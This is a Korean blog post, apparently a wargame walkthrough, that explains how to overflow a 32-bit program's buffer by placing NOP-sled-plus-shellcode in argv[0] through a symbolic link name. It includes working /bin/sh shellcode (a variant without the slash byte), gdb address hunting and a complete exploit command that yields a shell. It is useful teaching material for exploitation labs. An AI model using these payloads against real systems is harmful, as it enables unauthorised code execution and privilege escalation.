Buffer Overflow: argv[0]

Sisyphus·2022년 7월 16일
0

System Hacking - ELF 32

목록 보기
2/10

C언어에는 main 함수의 매개 변수가 있는데, int argc와 char *argv[]가 있습니다.

int argc

main 함수에 전달되는 인자의 개수를 의미

char *argv[]

argv[0]  ⇒  프로그램의 실행 경로
argv[1], argv[2], argv[3] ........  ⇒  main 함수에 전달할 문자열

오버플로우 공격을 할 때 main 함수의 매개 변수에 NOP + shellcode를 저장해야 할 때가 있는데, 보통 프로그램 실행 시 인자 값으로 전달할 수 있는 argv[1]이나 argv[2]에 저장을 합니다.

하지만 심볼릭 링크를 사용하면 argv[0]에도 NOP + shellcode를 저장할 수 있습니다.


심볼릭 링크를 걸었을 때 argv[0]이 어떻게 변하는지 확인해보면

// test.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[0]) {
	int length = strlen(argv[0]);

	printf("length = %d\n", length);
	printf("argv[0] = %s\n", argv[0]);
}
$ ln -s test `python -c 'print "A"*20'`
$ ~/AAAAAAAAAAAAAAAAAAAA 
length = 34
argv[0] = /home/darkelf/AAAAAAAAAAAAAAAAAAAA

심볼릭 링크명이 argv[0] 뒤에 가서 그대로 붙습니다.

만약 NOP+shellcode라는 이름으로 target 파일에 심볼릭 링크를 걸수 있으면 argv[0]을 NOP+shellcode로 만들 수 있을 것입니다.


예제를 만들어서 실습을 해보겠습니다.

// vul.c
#include <stdio.h>

int main(int argc, char *argv[]) {
	char buf[100];

	strcpy(buf, argv[1]);
	return 0;
}

strpcy() 함수로 인해 버퍼 오버플로우가 발생합니다.


심볼릭 링크를 이용해서 argv[0]의 값을 NOP + shellcode로 수정해보면

$ ln -s vul `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
ln: cannot create symbolic link `1?h//shh/bin‰?S‰?柰
                                                    ?' to `vul': No such file or directory

No such file or directory 에러가 발생합니다.
shellcode에서 \x2f가 /로 읽혀서 발생하는 오류라고 합니다.


$ ln -s troll ab/c
ln: cannot create symbolic link `ab/c' to `troll': No such file or directory

한번 /가 들어간 이름으로 심볼릭 링크를 생성해보면 동일한 에러가 발생하는 것을 확인할 수 있습니다.

해결 방법은 \x2f가 포함되지 않은 shellcode를 사용하면 된다고 합니다.

# \x2f가 포함 되지 않은 shellcode
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

\x2f가 포함되지 않은 shellcode로 심볼릭 링크를 생성해보면

$ ln -s vul `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
$ ls
vul
vul.c
?????????????????????????????????????????????????????????????????????????????????????????????????????^1??l????u楕?凹2?i00tii0cjo??T????

오류 없이 잘 생성됩니다.


이제 gdb로 메모리 구조를 분석해보면

0x80483d0 <main>:	push   %ebp
0x80483d1 <main+1>:	mov    %ebp,%esp
0x80483d3 <main+3>:	sub    %esp,100	// 100 Byte 크기의 공간 할당
0x80483d6 <main+6>:	mov    %eax,DWORD PTR [%ebp+12]
0x80483d9 <main+9>:	add    %eax,4
0x80483dc <main+12>:	mov    %edx,DWORD PTR [%eax]
0x80483de <main+14>:	push   %edx	// push argv[1]
0x80483df <main+15>:	lea    %eax,[%ebp-100]
0x80483e2 <main+18>:	push   %eax	// push buffer
0x80483e3 <main+19>:	call   0x8048308 <strcpy>	// strcpy(buffer, argv[1])
0x80483e8 <main+24>:	add    %esp,8

  • argv[0] ← NOP[100] + shellcode[48]

  • argv[1] ← NOP[104] + argv[0]'s Addr[4]

를 넣어서 위에 스택 그림대로 공격을 해보겠습니다.


먼저 core dump를 해서 argv[0]의 주소를 찾아보면

[orge@localhost /tmp]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*108'`
Segmentation fault (core dumped)
[orge@localhost /tmp]$ gdb -c core -q
Core was generated by `./'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/100x $esp
0xbffff910:	0x00000000	0xbffff954	0xbffff960	0x40013868
0xbffff920:	0x00000002	0x08048320	0x00000000	0x08048341
0xbffff930:	0x080483d0	0x00000002	0xbffff954	0x08048298
0xbffff940:	0x0804842c	0x4000ae60	0xbffff94c	0x40013e90
0xbffff950:	0x00000002	0xbffffa4c	0xbffffae3	0x00000000
0xbffff960:	0xbffffb50	0xbffffb59	0xbffffb78	0xbffffb9a
0xbffff970:	0xbffffba4	0xbffffd67	0xbffffd86	0xbffffda0
0xbffff980:	0xbffffdb5	0xbffffdd1	0xbffffddc	0xbffffdf5
0xbffff990:	0xbffffe02	0xbffffe0a	0xbffffe1b	0xbffffe25
0xbffff9a0:	0xbffffe33	0xbffffe44	0xbffffe52	0xbffffe5d
0xbffff9b0:	0xbffffe6d	0xbffffeba	0xbfffff53	0x00000000
0xbffff9c0:	0x00000003	0x08048034	0x00000004	0x00000020
0xbffff9d0:	0x00000005	0x00000006	0x00000006	0x00001000
0xbffff9e0:	0x00000007	0x40000000	0x00000008	0x00000000
0xbffff9f0:	0x00000009	0x08048320	0x0000000b	0x000001fb
0xbffffa00:	0x0000000c	0x000001fb	0x0000000d	0x000001fb
0xbffffa10:	0x0000000e	0x000001fb	0x00000010	0x0f8bfbff
0xbffffa20:	0x0000000f	0xbffffa47	0x00000000	0x00000000
0xbffffa30:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffffa40:	0x00000000	0x69000000	0x00363836	0x90902f2e
0xbffffa50:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa60:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa70:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa80:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa90:	0x90909090	0x90909090	0x90909090	0x90909090

argv[0]의 주소는 대략 0xbffffa60가 되고 리틀 엔디안 방식으로 변환해보면 \x60\xfa\xff\xbf가 됩니다.


이제 exploit code를 짜 보면

argv[0] ← NOP[100] + shellcode[48]
argv[1] ← NOP[104] + argv[0]의 주소
심볼릭 링크, NOP[104] + argv[0]의 주소

`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*104+"\x60\xfa\xff\xbf"'`

익스플로잇 코드를 실행시켜보면

$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*104+"\x60\xfa\xff\xbf"'`
bash$

공격에 성공해서 쉘이 떴습니다.

0개의 댓글